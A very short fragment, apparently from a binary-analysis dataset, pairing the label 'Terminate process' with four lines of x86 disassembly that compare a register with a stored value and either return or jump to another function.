Terminate process

Disassembly:
cmp ecx, dword [0x1003f098]
jne 0x1000609a
repz ret
jmp fcn.10009410